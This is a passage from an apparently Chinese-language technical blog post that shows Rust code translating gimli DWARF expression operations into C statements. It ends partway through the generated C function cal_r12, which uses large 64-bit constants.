&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Ge &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;?1:0;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Gt &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;?1:0;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Le &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;?1:0;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Lt &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;?1:0;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Ne &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;?1:0;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::UnsignedConstant { value } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;ull;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, value)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::SignedConstant { value } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=(uint64_t)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;ll;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, value)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Register { register } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, gimli::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;X86_64&lt;&#x2F;span&gt;&lt;span&gt;::register_name(register).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap_or&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;{error}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;_ =&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;todo!(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;{:?}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, op)
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;        } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    assert_eq!(stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;}}\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Ok&lt;&#x2F;span&gt;&lt;span&gt;(())
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成的c文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdint.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;cal_r12&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;r12&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;r13&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;r14&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;r15&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; rax&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,rbx&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;r12;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10841219284134096893&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11129291835405172697&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;v2;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; v4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7670811485375801638&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull&lt;&#x2F;span&gt;&lt;span&gt;;
